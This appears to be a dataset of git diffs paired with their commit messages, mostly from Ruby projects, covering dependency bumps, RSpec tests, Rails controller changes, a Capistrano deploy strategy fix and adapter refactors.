diff
stringlengths
65
26.7k
message
stringlengths
7
9.92k
diff --git a/lib/termnote/show.rb b/lib/termnote/show.rb index abc1234..def5678 100644 --- a/lib/termnote/show.rb +++ b/lib/termnote/show.rb @@ -1,4 +1,3 @@-require 'termnote/show/control' require 'termnote/show/key' module TermNote
Remove reference for deleted file (control.rb)
diff --git a/knife-azure.gemspec b/knife-azure.gemspec index abc1234..def5678 100644 --- a/knife-azure.gemspec +++ b/knife-azure.gemspec @@ -9,19 +9,19 @@ s.authors = ["Barry Davis", "Chirag Jog"] s.summary = "A plugin to the Chef knife tool for creating instances on the Microsoft Azure platform" s.description = s.summary - s.email = "oss@getchef.com" + s.email = "oss@chef.io" s.licenses = ["Apache 2.0"] s.extra_rdoc_files = [ "LICENSE" ] s.files = %w(LICENSE README.md) + Dir.glob("lib/**/*") - s.homepage = "http://github.com/opscode/knife-azure" + s.homepage = "https://github.com/chef/knife-azure" s.require_paths = ["lib"] s.add_dependency "nokogiri", ">= 1.5.5" - s.add_dependency "knife-windows", "~> 1.0.0.rc.1" + s.add_dependency "knife-windows", "~> 1.0.0.rc.2" s.add_development_dependency 'chef', '~> 12.0', '>= 12.2.1' s.add_development_dependency "mixlib-config", "~> 2.0" s.add_development_dependency "equivalent-xml", "~> 0.2.9" s.add_development_dependency "knife-cloud", ">= 1.0.0" -end+end
Update knife-windows dep to 1.0.0.rc.2
diff --git a/railties/lib/rails/commands/application.rb b/railties/lib/rails/commands/application.rb index abc1234..def5678 100644 --- a/railties/lib/rails/commands/application.rb +++ b/railties/lib/rails/commands/application.rb @@ -9,6 +9,13 @@ ARGV[0] = "--help" else ARGV.shift + railsrc = File.join(File.expand_path("~"), ".railsrc") + if File.exist?(railsrc) + extra_args_string = File.open(railsrc).read + extra_args = extra_args_string.split(/\n+/).map {|l| l.split}.flatten + ARGV << extra_args + ARGV.flatten! + end end require 'rubygems' if ARGV.include?("--dev")
Read extra args for 'rails new' from ~/.railsrc
diff --git a/lib/activeadmin_addons/addons/enum_tag.rb b/lib/activeadmin_addons/addons/enum_tag.rb index abc1234..def5678 100644 --- a/lib/activeadmin_addons/addons/enum_tag.rb +++ b/lib/activeadmin_addons/addons/enum_tag.rb @@ -1,8 +1,9 @@ module ActiveAdminAddons module EnumTag class << self - def tag(context, model, attribute, options) + def tag(context, model, attribute, &block) state = model.send(attribute) + state = block.call(model) if block raise 'you need to install enumerize gem first' unless defined? Enumerize::Value raise 'you need to pass an enumerize attribute' unless state.is_a?('Enumerize::Value'.constantize) context.status_tag(state.text, state) @@ -13,13 +14,15 @@ module ::ActiveAdmin module Views class TableFor - def tag_column(attribute, options = {}) - column(attribute) { |model| EnumTag.tag(self, model, attribute, options) } + def tag_column(*args, &block) + attribute = args[1] || args[0] + column(*args) { |model| EnumTag.tag(self, model, attribute, &block) } end end class AttributesTable - def tag_row(attribute, options = {}) - row(attribute) { |model| EnumTag.tag(self, model, attribute, options) } + def tag_row(*args, &block) + attribute = args[1] || args[0] + row(*args) { |model| EnumTag.tag(self, model, attribute, &block) } end end end
feat(Enum): Add support for blocks and labels
diff --git a/core/app/controllers/content_controller.rb b/core/app/controllers/content_controller.rb index abc1234..def5678 100644 --- a/core/app/controllers/content_controller.rb +++ b/core/app/controllers/content_controller.rb @@ -1,6 +1,6 @@ class ContentController < Spree::BaseController - before_filter :static_asset + before_filter :render_404, :if => :static_asset rescue_from ActionView::MissingTemplate, :with => :render_404 caches_page :show, :index, :if => Proc.new { Spree::Config[:cache_static_content] } @@ -17,11 +17,6 @@ # Determines if the requested resource has a path similar to that of a static asset. In this case do not go through the # overhead of trying to render a template or whatever. def static_asset - if params[:path] =~ /(\.|\\)/ - render_404 - false - else - true - end + params[:path] =~ /^\/([^.]+)$/ end end
Revert "Rewritten before filter in ContentController to not use :if option" This reverts commit 039fd272f577794a7eccf34d5fcfec71cdab92ff.
diff --git a/app/controllers/design_imports_controller.rb b/app/controllers/design_imports_controller.rb index abc1234..def5678 100644 --- a/app/controllers/design_imports_controller.rb +++ b/app/controllers/design_imports_controller.rb @@ -6,7 +6,7 @@ def create @design = Design.new - @design_to_import = Design.find_by_id_and_account_id(params[:design_id], 1) + @design_to_import = Design.find_by_id_and_account_id(params[:design_id]) @design.attributes = @design_to_import.attributes @design.parent = @design_to_import @design.public = false
Allow any design to be imported.
diff --git a/config/initializers/attachment_notifier.rb b/config/initializers/attachment_notifier.rb index abc1234..def5678 100644 --- a/config/initializers/attachment_notifier.rb +++ b/config/initializers/attachment_notifier.rb @@ -1,7 +1,9 @@ Whitehall.attachment_notifier.tap do |notifier| notifier.subscribe do |_event, attachment| - ServiceListeners::AttachmentDraftStatusUpdater - .new(attachment) - .update! + unless attachment.attachable.is_a?(Edition) + ServiceListeners::AttachmentDraftStatusUpdater + .new(attachment) + .update! + end end end
Update asset draft status for attachment events for non-editions Originally [1] we had this only handling attachment events for policy groups, but then we changed it [2] to handle all attachment events as a belt and braces approach. However, I'm now more convinced that the only scenarios where these events might be important is for policy groups and (possibly [3]) for consultation responses, i.e. where the attachable is not an edition. So by making this change, we can reduce the number of Asset Manager API related jobs we create. This is particularly relevant, because I think these events generate AssetManagerUpdateAssetWorker jobs immediately after AssetManagerCreateWhitehallAssetWorker jobs and if the latter takes a while to complete, the former will raise an exception due to the asset not being found in Asset Manager. Although the job will then retry, it feels better to avoid this happening as much as possible. [1]: https://github.com/alphagov/whitehall/commit/3c05f68d503caee6038994a272c2e818c472c140 [2]: https://github.com/alphagov/whitehall/commit/a0bc6c606e17eb70f5c1940f70d094e0c7d8df19 [3]: I don't think this is actually necessary with the current user interface, but this change means we're more robust against this possibility.
diff --git a/core_gems.rb b/core_gems.rb index abc1234..def5678 100644 --- a/core_gems.rb +++ b/core_gems.rb @@ -5,3 +5,4 @@ download "cool.io", "1.2.4" download "http_parser.rb", "0.6.0" download "yajl-ruby", "1.2.0" +download "rspec", "2.14.1"
Add rspec to avoid build failure
diff --git a/spec/classes/init_spec.rb b/spec/classes/init_spec.rb index abc1234..def5678 100644 --- a/spec/classes/init_spec.rb +++ b/spec/classes/init_spec.rb @@ -14,6 +14,11 @@ it { should contain_class('openconnect::install') } it { should contain_class('openconnect::config') } it { should contain_class('openconnect::service') } + + # FIXME + it 'should not allow required params to be bypassed' do + expect { should }.to raise_error(Puppet::Error, /Must pass/) + end end end end
Add a failing test for undef params I've been using this pattern whereby the parent class proxies params to the relevant sub-classes to provide a single entry point, whilst keeping the defaults and validation as close to the classes that use them. However this brings up an issue with Puppet 3.x whereby the `undef` defaults in the parent class appear to be cast as empty strings. Meaning that `include openconnect` doesn't raise a warning and the templates get rendered with empty strings. Adding this test here as a reminded, until we figure out the desired solution.
diff --git a/spec/models/state_spec.rb b/spec/models/state_spec.rb index abc1234..def5678 100644 --- a/spec/models/state_spec.rb +++ b/spec/models/state_spec.rb @@ -0,0 +1,84 @@+require "rails_helper" + +RSpec.describe State do + let!(:draft_item) { FactoryGirl.create(:draft_content_item, title: "Draft Title") } + let!(:published_item) { FactoryGirl.create(:live_content_item, title: "Published Title") } + + describe "validations" do + subject { FactoryGirl.build(:state) } + + it "is valid for the default factory" do + expect(subject).to be_valid + end + + context "when another content item has identical supporting objects" do + before do + FactoryGirl.create( + :content_item, + :with_state, + :with_translation, + :with_location, + :with_semantic_version, + ) + end + + let(:content_item) do + FactoryGirl.create( + :content_item, + :with_translation, + :with_location, + :with_semantic_version, + ) + end + + subject { FactoryGirl.build(:state, content_item: content_item) } + + it "is invalid" do + expect(subject).to be_invalid + + error = subject.errors[:content_item].first + expect(error).to match(/conflicts with/) + end + end + end + + describe ".filter" do + it "filters a content item scope by state name" do + draft_items = described_class.filter(ContentItem.all, name: "draft") + expect(draft_items.pluck(:title)).to eq(["Draft Title"]) + + published_items = described_class.filter(ContentItem.all, name: "published") + expect(published_items.pluck(:title)).to eq(["Published Title"]) + end + end + + describe ".supersede" do + let(:draft_state) { State.find_by!(content_item: draft_item) } + + it "changes the state name to 'superseded'" do + expect { + described_class.supersede(draft_item) + }.to change { draft_state.reload.name }.to("superseded") + end + end + + describe ".publish" do + let(:draft_state) { State.find_by!(content_item: draft_item) } + + it "changes the state name to 'published'" do + expect { + described_class.publish(draft_item) + }.to change { draft_state.reload.name }.to("published") + end + end + + describe ".withdraw" do + let(:draft_state) { State.find_by!(content_item: draft_item) } + + it "changes the state name to 'withdrawn'" do + expect { + described_class.withdraw(draft_item) + }.to change { draft_state.reload.name }.to("withdrawn") + end + end +end
Add model tests for State
diff --git a/spec/package_repo_spec.rb b/spec/package_repo_spec.rb index abc1234..def5678 100644 --- a/spec/package_repo_spec.rb +++ b/spec/package_repo_spec.rb @@ -4,6 +4,10 @@ describe 'Ubuntu' do let(:chef_run) do ChefSpec::SoloRunner.new.converge(described_recipe) + end + + before do + stub_command('apt-key list | grep 8507EFA5').and_return('foo') end it 'sets up an apt repository for `percona`' do @@ -17,7 +21,7 @@ describe 'CentOS' do let(:chef_run) do - env_options = { platform: 'centos', version: '6.5' } + env_options = { platform: 'centos', version: '6' } ChefSpec::SoloRunner.new(env_options).converge(described_recipe) end
Fix some commands that aren't stubbed
diff --git a/spec/support/be_linked.rb b/spec/support/be_linked.rb index abc1234..def5678 100644 --- a/spec/support/be_linked.rb +++ b/spec/support/be_linked.rb @@ -18,7 +18,7 @@ match do |actual| link_to_args = @args || [double] link_model = rel.is_a?(Class) ? rel.new : rel - @link_scope = actual.link_to(link_model, *link_to_args) + @link_scope = actual.link_to_resource(link_model, *link_to_args) @scope_scope = actual.send(@scope, *@scope_args) @link_scope.to_sql == @scope_scope.to_sql
Fix RSpec matcher for linkable relation
diff --git a/gems.gemspec b/gems.gemspec index abc1234..def5678 100644 --- a/gems.gemspec +++ b/gems.gemspec @@ -2,8 +2,8 @@ require File.expand_path('../lib/gems/version', __FILE__) Gem::Specification.new do |gem| - gem.add_development_dependency 'maruku', '~> 0.6' gem.add_development_dependency 'rake', '~> 0.9' + gem.add_development_dependency 'rdiscount', '~> 1.6' gem.add_development_dependency 'rspec', '~> 2.6' gem.add_development_dependency 'simplecov', '~> 0.4' gem.add_development_dependency 'webmock', '~> 1.7'
Replace maruku with rdiscount for Markdown library
diff --git a/lib/cathode/base.rb b/lib/cathode/base.rb index abc1234..def5678 100644 --- a/lib/cathode/base.rb +++ b/lib/cathode/base.rb @@ -1,21 +1,22 @@ require 'pry' -require 'cathode/request' -require 'cathode/index_request' -require 'cathode/show_request' -require 'cathode/create_request' -require 'cathode/update_request' -require 'cathode/destroy_request' -require 'cathode/custom_request' require 'cathode/exceptions' -require 'cathode/object_collection' -require 'cathode/action_dsl' -require 'cathode/resource' -require 'cathode/action' -require 'cathode/version' require 'cathode/railtie' -require 'cathode/debug' module Cathode + autoload :Action, 'cathode/action' + autoload :ActionDsl, 'cathode/action_dsl' + autoload :CreateRequest, 'cathode/create_request' + autoload :CustomRequest, 'cathode/custom_request' + autoload :Debug, 'cathode/debug' + autoload :DestroyRequest, 'cathode/destroy_request' + autoload :IndexRequest, 'cathode/index_request' + autoload :ObjectCollection, 'cathode/object_collection' + autoload :Request, 'cathode/request' + autoload :Resource, 'cathode/resource' + autoload :ShowRequest, 'cathode/show_request' + autoload :UpdateRequest, 'cathode/update_request' + autoload :Version, 'cathode/version' + DEFAULT_ACTIONS = [:index, :show, :create, :update, :destroy] class Base
Use autoload instead of require for referenced constants
diff --git a/lib/czmq-ffi-gen.rb b/lib/czmq-ffi-gen.rb index abc1234..def5678 100644 --- a/lib/czmq-ffi-gen.rb +++ b/lib/czmq-ffi-gen.rb @@ -1,3 +1,9 @@+base_dir = File.expand_path(File.join(__dir__, "..")) +vendor_bin_dir = File.join(base_dir, "vendor", "local", "bin") +if File.exist?(vendor_bin_dir) + ENV["PATH"] = [vendor_bin_dir, ENV["PATH"]].join(File::PATH_SEPARATOR) +end + require_relative "czmq-ffi-gen/czmq/ffi" require_relative "czmq-ffi-gen/versions" require_relative "czmq-ffi-gen/errors"
Use bundled libzmq and libczmq if exist
diff --git a/spec/support/vcr_setup.rb b/spec/support/vcr_setup.rb index abc1234..def5678 100644 --- a/spec/support/vcr_setup.rb +++ b/spec/support/vcr_setup.rb @@ -3,4 +3,7 @@ VCR.configure do |c| c.cassette_library_dir = 'spec/cassettes' c.hook_into :webmock + + # ensure codelimate still works + config.ignore_hosts 'codeclimate.com' end
Fix issues with VCR and CodeClimate.
diff --git a/lib/stellar-core.rb b/lib/stellar-core.rb index abc1234..def5678 100644 --- a/lib/stellar-core.rb +++ b/lib/stellar-core.rb @@ -6,6 +6,7 @@ # See ../generated for code-gen'ed files +require 'FBAXDR' require 'Stellar-types' require 'Stellar-overlay' require 'Stellar-ledger'
Fix test suite (but add warnings)
diff --git a/lib/stock_ferret.rb b/lib/stock_ferret.rb index abc1234..def5678 100644 --- a/lib/stock_ferret.rb +++ b/lib/stock_ferret.rb @@ -6,11 +6,11 @@ attr_accessor :symbol, :instruction, :low_threshold, :high_threshold def initialize(params) - @symbol = params[:zip] - @instruction = params[:term] - @low_threshold = params[:low_threshold].to_i - @high_threshold = params[:high_threshold].to_i super + @symbol = params["zip"] + @instruction = params["term"] + @low_threshold = params["low_threshold"].to_i + @high_threshold = params["high_threshold"].to_i end def search
Switch from symbol to string hash access
diff --git a/ibge.gemspec b/ibge.gemspec index abc1234..def5678 100644 --- a/ibge.gemspec +++ b/ibge.gemspec @@ -21,5 +21,5 @@ spec.add_dependency "spreadsheet", "~> 1.0" spec.add_development_dependency "rake", "~> 13.0" - spec.add_development_dependency "rspec", "= 3.10.0" + spec.add_development_dependency "rspec", "= 3.11.0" end
Update rspec requirement from = 3.10.0 to = 3.11.0 Updates the requirements on [rspec](https://github.com/rspec/rspec-metagem) to permit the latest version. - [Release notes](https://github.com/rspec/rspec-metagem/releases) - [Commits](https://github.com/rspec/rspec-metagem/compare/v3.10.0...v3.11.0) --- updated-dependencies: - dependency-name: rspec dependency-type: direct:development ... Signed-off-by: dependabot[bot] <5bdcd3c0d4d24ae3e71b3b452a024c6324c7e4bb@github.com>
diff --git a/isbm.gemspec b/isbm.gemspec index abc1234..def5678 100644 --- a/isbm.gemspec +++ b/isbm.gemspec @@ -15,10 +15,10 @@ s.test_files = `git ls-files -- spec/*`.split("\n") s.require_paths = ["lib"] - s.add_development_dependency "rspec", "2.11.0" - s.add_development_dependency "rake", "0.9.2.2" - s.add_development_dependency "vcr", "2.2.4" - s.add_development_dependency "fakeweb", "1.3.0" - s.add_development_dependency "jruby-openssl", "0.7.7" # for vcr, not sure why - s.add_runtime_dependency "savon", "1.1.0" + s.add_development_dependency "rspec", "~> 2.11.0" + s.add_development_dependency "rake", "~> 0.9.2.2" + s.add_development_dependency "vcr", "~> 2.2.5" + s.add_development_dependency "fakeweb", "~> 1.3.0" + s.add_development_dependency "jruby-openssl", "~> 0.7.7" # for vcr, not sure why + s.add_runtime_dependency "savon", "~> 1.2.0" end
Use semantic versioning for gem dependencies
diff --git a/lib/cass_schema/runner.rb b/lib/cass_schema/runner.rb index abc1234..def5678 100644 --- a/lib/cass_schema/runner.rb +++ b/lib/cass_schema/runner.rb @@ -3,7 +3,7 @@ module CassSchema class Runner class << self - attr_accessor :datastores + attr_writer :datastores attr_writer :schema_base_path attr_accessor :logger @@ -47,10 +47,9 @@ private - def with_error_handling(statement) - yield - rescue => e - Error.new(e, statement) + def datastores + raise "CassSchema::Runner.datastores must be initialized to a list of CassSchema::DataStore objects!" unless @datastores + @datastores end end end
Raise clearer error if datastores is not initialized
diff --git a/lib/has_accounts/model.rb b/lib/has_accounts/model.rb index abc1234..def5678 100644 --- a/lib/has_accounts/model.rb +++ b/lib/has_accounts/model.rb @@ -54,8 +54,8 @@ booking end - def balance(value_date = nil) - bookings.direct_balance(value_date) + def balance(value_date = nil, direct_account = nil) + bookings.direct_balance(value_date, direct_account) end end end
Add direct_account param to .balance.
diff --git a/app/inputs/color_input.rb b/app/inputs/color_input.rb index abc1234..def5678 100644 --- a/app/inputs/color_input.rb +++ b/app/inputs/color_input.rb @@ -1,6 +1,6 @@ class ColorInput < SimpleForm::Inputs::Base def input(wrapper_options) - hex_code = object.try(attribute_name).presence || options.delete(:hex_code).presence || default_hex_code + hex_code = object.try(attribute_name).presence || options.delete(:hex_code).presence || options.delete(:default).presence || default_hex_code merged_input_options = merge_wrapper_options(input_html_options, wrapper_options) merged_input_options.merge!(type: :color, value: hex_code)
Allow color input default hex code to be set using `default` option
diff --git a/test/minitest_helper.rb b/test/minitest_helper.rb index abc1234..def5678 100644 --- a/test/minitest_helper.rb +++ b/test/minitest_helper.rb @@ -1,5 +1,4 @@ $LOAD_PATH.unshift File.expand_path('../../lib', __FILE__) -require 'lknovel' require 'minitest/autorun' require 'pry-rescue/minitest'
Remove lknovel require from minitest helper No need to require it here, let the test require specific file
diff --git a/lib/tasks/data_clear.rake b/lib/tasks/data_clear.rake index abc1234..def5678 100644 --- a/lib/tasks/data_clear.rake +++ b/lib/tasks/data_clear.rake @@ -3,8 +3,11 @@ desc 'Delete all data from employees collection' task employees: :environment do - puts "Removing #{Payment.count} record(s) from related collection payment." + puts "Removing #{Payment.count} record(s) from related collection payments." Payment.delete_all + + puts "Removing #{Promotion.count} record(s) from related collection promotions." + Promotion.delete_all puts "Removing #{Employee.count} record(s) from employees collection." Employee.delete_all
Remove registros da coleção promotions antes de proceder com a coleção employees.
diff --git a/test-using-gir-builder.rb b/test-using-gir-builder.rb index abc1234..def5678 100644 --- a/test-using-gir-builder.rb +++ b/test-using-gir-builder.rb @@ -0,0 +1,10 @@+# Test program using actual builder +$LOAD_PATH.unshift File.join(File.dirname(__FILE__), 'lib') +require 'girffi/builder' + +builder = GirFFI::Builder.new +builder.build_module 'Gtk', 'Foo' +(my_len, my_args) = Foo::Gtk.init ARGV.length, ARGV +p my_len, my_args +Foo::Gtk.flub +
Test program using actual builder mechanism now working for modules.
diff --git a/lib/lager.rb b/lib/lager.rb index abc1234..def5678 100644 --- a/lib/lager.rb +++ b/lib/lager.rb @@ -13,15 +13,6 @@ server_params = params["server"] halt(401, "Not authorized") unless server_params server = Server.create(host: server_params["host"], label: server_params["label"]) - p server - end - - post '/servers' do - server_params = params["server"] - halt(401, "Not authorized") unless server_params - server = Server.new(host: server_params["name"], ip: server_params["ip"]) - p server - erb :index end get '/logs/server/:id' do
Remove repeated post endpoint declaration
diff --git a/plugin_gems.rb b/plugin_gems.rb index abc1234..def5678 100644 --- a/plugin_gems.rb +++ b/plugin_gems.rb @@ -5,7 +5,7 @@ download "fluent-plugin-td", "0.10.29" download "uuidtools", "2.1.5" download "aws-sdk", "2.6.42" -download "fluent-plugin-s3", "0.8.0" +download "fluent-plugin-s3", "1.0.0.rc1" download "webhdfs", "0.8.0" download "fluent-plugin-webhdfs", "0.4.2" download "fluent-plugin-rewrite-tag-filter", "1.5.5" @@ -14,4 +14,3 @@ download "elasticsearch", "5.0.0" download "fluent-plugin-elasticsearch", "1.9.2" download "fluent-plugin-td-monitoring", "0.2.2" -
Update S3 plugin to v1.0.0.rc1 for v0.14
diff --git a/test/models/break_test.rb b/test/models/break_test.rb index abc1234..def5678 100644 --- a/test/models/break_test.rb +++ b/test/models/break_test.rb @@ -13,9 +13,9 @@ tp = TeachingPeriod.create(data) b1 = tp.add_break('2023-01-02', 1) - exception = assert_raise(Exception) {tp.add_break('2023-01-03', 1)} + exception = assert_raises(ActiveRecord::RecordInvalid) {tp.add_break('2023-01-03', 1)} assert_equal("Validation failed: overlaps another break", exception.message) assert b1.valid?, "b1 not valid" assert_equal 1, tp.breaks.count end -end+end
TEST: Handle record invalid exception in break add
diff --git a/lib/types.rb b/lib/types.rb index abc1234..def5678 100644 --- a/lib/types.rb +++ b/lib/types.rb @@ -2,22 +2,6 @@ module Types class Klass < DataMapper::Type primitive Class - - def self.load(value, property) - if value - value # value.is_a?(Class) ? value : Extlib::Inflection.constantize(value) - else - nil - end - end - - def self.dump(value, property) - if value - (value.is_a? Class) ? value.name : Extlib::Inflection.constantize(value.to_s) - else - nil - end - end - end # class URI + end # class Klass end # module Types end # module DataMapper
Remove failing code; "primitive Class" takes care of everything
diff --git a/spec/lib/api_spec.rb b/spec/lib/api_spec.rb index abc1234..def5678 100644 --- a/spec/lib/api_spec.rb +++ b/spec/lib/api_spec.rb @@ -10,30 +10,28 @@ end end - it 'should be configured' do + it 'is configured' do Fulcrum::Api.configuration.uri.should eq(@uri) Fulcrum::Api.configuration.key.should eq(@key) end - it 'should get the key' do + it 'gets the key' do user = "foo@bar.com" pass = "foobar" stub_request(:get, /.*\/users.json/).to_return(:status => 200, :body => '{ "user": { "api_token": "foobar" }}') Fulcrum::Api.get_key(user, pass).should eq('foobar') end - it 'parse_opts should return only expected opts' do + specify '#parse_opts returns only expected opts' do params = Fulcrum::Api.parse_opts([:foo], { foo: 'bar', bar: 'foo'}) - params.has_key?(:foo).should be(true) - params[:foo].should eq('bar') - params.has_key?(:bar).should be(false) + params.should eq({ foo: 'bar' }) end - it 'call should raise ArgumentError with invalid method' do + specify '#call should raise ArgumentError with invalid method' do expect { Fulcrum::Api.call(:foo) }.to raise_error(ArgumentError) end - it 'call should not raise ArgumentError with valid method' do + specify '#call should not raise ArgumentError with valid method' do expect { Fulcrum::Api.call(:get) }.to_not raise_error(ArgumentError) end end
Refactor API specs for readability
diff --git a/bcnd.gemspec b/bcnd.gemspec index abc1234..def5678 100644 --- a/bcnd.gemspec +++ b/bcnd.gemspec @@ -17,7 +17,7 @@ s.require_paths = ["lib"] s.add_dependency 'octokit', '~> 4.2' - s.add_dependency 'rest-client', '~> 1.8' + s.add_dependency 'rest-client', '~> 2.0' s.add_development_dependency "rspec" s.add_development_dependency "webmock" end
Update RestClient (older versions don't work with latest ruby)
diff --git a/lib/tasks/gitlab/bulk_add_permission.rake b/lib/tasks/gitlab/bulk_add_permission.rake index abc1234..def5678 100644 --- a/lib/tasks/gitlab/bulk_add_permission.rake +++ b/lib/tasks/gitlab/bulk_add_permission.rake @@ -7,9 +7,9 @@ Project.find_each do |project| puts "Importing #{user_ids.size} users into #{project.code}" - UsersProject.bulk_import(project, user_ids, UsersProject::DEVELOPER) + UsersProject.add_users_into_projects(project, user_ids, UsersProject::DEVELOPER) puts "Importing #{admin_ids.size} admins into #{project.code}" - UsersProject.bulk_import(project, admin_ids, UsersProject::MASTER) + UsersProject.add_users_into_projects(project, admin_ids, UsersProject::MASTER) end end @@ -18,7 +18,7 @@ user = User.find_by_email args.email project_ids = Project.pluck(:id) - UsersProject.user_bulk_import(user, project_ids, UsersProject::DEVELOPER) + UsersProject.add_users_into_projects(user, project_ids, UsersProject::DEVELOPER) end end end
Fix rake task - Update method name
diff --git a/bench/giant.rb b/bench/giant.rb index abc1234..def5678 100644 --- a/bench/giant.rb +++ b/bench/giant.rb @@ -3,10 +3,8 @@ Bundler.setup require 'benchmark' -require 'dalli' require 'perforated' require 'active_support/core_ext/object' -require 'active_support/cache/dalli_store' require 'redis' require 'redis-activesupport' @@ -36,13 +34,4 @@ x.report('redis-1') { perforated.to_json } x.report('redis-2') { perforated.to_json } - - Perforated.configure do |config| - config.cache = ActiveSupport::Cache::DalliStore.new('localhost') - end - - Perforated.cache.clear - - x.report('dalli-1') { perforated.to_json } - x.report('dalli-2') { perforated.to_json } end
Stop benchmarking dalli, redis is enough
diff --git a/cats.gemspec b/cats.gemspec index abc1234..def5678 100644 --- a/cats.gemspec +++ b/cats.gemspec @@ -18,7 +18,7 @@ spec.test_files = spec.files.grep(%r{^(test|spec|features)/}) spec.require_paths = ["lib"] - spec.add_runtime_dependency "thor" + spec.add_runtime_dependency "thor", "~> 0.18" spec.add_development_dependency "bundler", "~> 1.3" spec.add_development_dependency "rake"
Use a more specific version of thor in the gemspec
diff --git a/app/controllers/administration/settings_controller.rb b/app/controllers/administration/settings_controller.rb index abc1234..def5678 100644 --- a/app/controllers/administration/settings_controller.rb +++ b/app/controllers/administration/settings_controller.rb @@ -17,6 +17,7 @@ setting.update_attributes! :value => value end Setting.precache_settings(true) + expire_fragment(%r{views/}) flash[:notice] = 'Settings saved.' redirect_to administration_settings_path end
Expire all caches when changing settings.
diff --git a/rakwik.gemspec b/rakwik.gemspec index abc1234..def5678 100644 --- a/rakwik.gemspec +++ b/rakwik.gemspec @@ -3,7 +3,7 @@ Gem::Specification.new do |gem| gem.authors = ["Christian Aust"] - gem.email = ["github@kontakt.software-consultant.net"] + gem.email = ["git@kontakt.software-consultant.net"] gem.description = %q{Rakwik is a server-side tracker integration for the Piwik opensource web statistics software. It's easy to integrate into rack-based applications and does not require frontend Javascript inclusion.}
Fix contact address to match Github address
diff --git a/raygun.gemspec b/raygun.gemspec index abc1234..def5678 100644 --- a/raygun.gemspec +++ b/raygun.gemspec @@ -7,7 +7,7 @@ Gem::Specification.new do |gem| gem.name = "raygun" gem.version = Raygun::VERSION - gem.authors = ["Christian Nelson"] + gem.authors = ["Christian Nelson", "Jonah Williams", "Jason Wadsworth"] gem.email = ["christian@carbonfive.com"] gem.description = %q{Carbon Five Rails application generator} gem.summary = %q{Generates and customizes Rails applications with Carbon Five best practices baked in.}
Add Jonah and Jason to authors.
diff --git a/lib/database_cleaner/mongoid/truncation.rb b/lib/database_cleaner/mongoid/truncation.rb index abc1234..def5678 100644 --- a/lib/database_cleaner/mongoid/truncation.rb +++ b/lib/database_cleaner/mongoid/truncation.rb @@ -28,7 +28,7 @@ private def session - ::Mongoid.default_session + ::Mongoid.default_client end def database
Use default_client following mongoid 5.0
diff --git a/bullet.gemspec b/bullet.gemspec index abc1234..def5678 100644 --- a/bullet.gemspec +++ b/bullet.gemspec @@ -18,7 +18,7 @@ s.required_rubygems_version = ">= 1.3.6" s.add_runtime_dependency "activesupport", ">= 3.0.0" - s.add_runtime_dependency "uniform_notifier", "~> 1.9.0" + s.add_runtime_dependency "uniform_notifier", "~> 1.10.0" s.files = `git ls-files`.split("\n") s.test_files = `git ls-files -- {test,spec,features}/*`.split("\n")
Update uniform_notifier dependency to 1.10 https://github.com/flyerhzm/uniform_notifier/blob/master/CHANGELOG.md
diff --git a/test/support/test_case.rb b/test/support/test_case.rb index abc1234..def5678 100644 --- a/test/support/test_case.rb +++ b/test/support/test_case.rb @@ -29,7 +29,7 @@ def _gensite_dir(&block) @@_gensite_dir ||= begin - dir = Dir.mktmpdir + dir = Dir.mktmpdir('jekyll-minibundle-test-') at_exit do FileUtils.rm_rf dir puts "Cleaned generated site for tests: #{dir}"
Mark test tmp dir with recognizable string
diff --git a/lib/capistrano/git-submodule-strategy.rb b/lib/capistrano/git-submodule-strategy.rb index abc1234..def5678 100644 --- a/lib/capistrano/git-submodule-strategy.rb +++ b/lib/capistrano/git-submodule-strategy.rb @@ -38,7 +38,7 @@ unless context.test(:test, '-e', release_path) && context.test("ls -A #{release_path} | read linevar") git :clone, '--depth=1', '--recursive', '-b', fetch(:branch), "file://#{repo_path}", release_path unless fetch(:git_keep_meta, false) - context.execute("find #{release_path} -name '.git*' -printf '"%p"\n' | xargs -I {} rm -rfv {}") + context.execute("find #{release_path} -name '.git*' -printf '\"%p\"\n' | xargs -I {} rm -rfv {}") end end end
Fix syntax error in string
diff --git a/lib/cb/models/cb_application_external.rb b/lib/cb/models/cb_application_external.rb index abc1234..def5678 100644 --- a/lib/cb/models/cb_application_external.rb +++ b/lib/cb/models/cb_application_external.rb @@ -10,7 +10,7 @@ def initialize(args = {}) @job_did = args[:job_did] || '' @email = args[:email] || '' - @site_id = args[:site_id] || '' + @site_id = args[:site_id] || 'cbnsv' @ipath = args[:ipath] || '' @apply_url = '' end
Add default SiteID (cbnsv) to external applications if none present
diff --git a/db/schema.rb b/db/schema.rb index abc1234..def5678 100644 --- a/db/schema.rb +++ b/db/schema.rb @@ -0,0 +1,24 @@+# encoding: UTF-8 +# This file is auto-generated from the current state of the database. Instead +# of editing this file, please use the migrations feature of Active Record to +# incrementally modify your database, and then regenerate this schema definition. +# +# Note that this schema.rb definition is the authoritative source for your +# database schema. If you need to create the application database on another +# system, you should be using db:schema:load, not running all the migrations +# from scratch. The latter is a flawed and unsustainable approach (the more migrations +# you'll amass, the slower it'll run and the greater likelihood for issues). +# +# It's strongly recommended that you check this file into your version control system. + +ActiveRecord::Schema.define(version: 20150407102645) do + + create_table "users", force: :cascade do |t| + t.string "name" + t.string "email" + t.string "login" + t.datetime "created_at", null: false + t.datetime "updated_at", null: false + end + +end
Migrate DB to add user
diff --git a/lib/flipper/adapters/operation_logger.rb b/lib/flipper/adapters/operation_logger.rb index abc1234..def5678 100644 --- a/lib/flipper/adapters/operation_logger.rb +++ b/lib/flipper/adapters/operation_logger.rb @@ -5,7 +5,9 @@ # Public: Adapter that wraps another adapter and stores the operations. # # Useful in tests to verify calls and such. Never use outside of testing. - class OperationLogger < Decorator + class OperationLogger + include Adapter + Operation = Struct.new(:type, :args) OperationTypes = [ @@ -21,9 +23,13 @@ # Internal: An array of the operations that have happened. attr_reader :operations + # Internal: The name of the adapter. + attr_reader :name + # Public def initialize(adapter, operations = nil) - super(adapter) + @adapter = adapter + @name = :operation_logger @operations = operations || [] end @@ -32,7 +38,7 @@ class_eval <<-EOE def #{type}(*args) @operations << Operation.new(:#{type}, args) - super + @adapter.send(:#{type}, *args) end EOE end
Switch operation logger to plain old ruby class from decorator
